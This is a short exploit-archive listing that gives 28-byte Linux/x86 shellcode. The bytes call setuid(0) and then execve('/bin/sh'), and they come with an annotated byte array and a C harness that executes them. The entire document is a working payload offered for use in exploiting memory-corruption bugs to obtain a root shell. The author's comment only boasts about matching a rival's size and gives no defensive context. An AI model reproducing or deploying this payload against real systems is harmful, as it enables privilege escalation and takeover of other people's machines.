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Linux/x86 - setuid(0) + execve("/bin/sh",0,0) Shellcode (28 bytes)
[/*
* (linux/x86) setuid(0) & execve("/bin/sh",0,0)
* 28 bytes
*
* http://www.gonullyourself.org
* sToRm <hixmostorm@hotmail.com>
*
* I made this, because http://www.milw0rm.com/shellcode/7115 felt the need
* to express his "superior" 28-byte shellcode in all caps. I wasn't able
* to beat his code, but it's no longer special.
*/
char shellcode[] =
// <_start>:
"\x31\xdb" // xor %ebx,%ebx
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\xf7\xe3" // mul %ebx
"\xb0\x0b" // mov $0xb,%al
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
;
int main() {
int (*f)() = (int(*)())shellcode;
printf("Length: %u\n", strlen(shellcode));
f();
}
# 0day.today [2024-11-16] #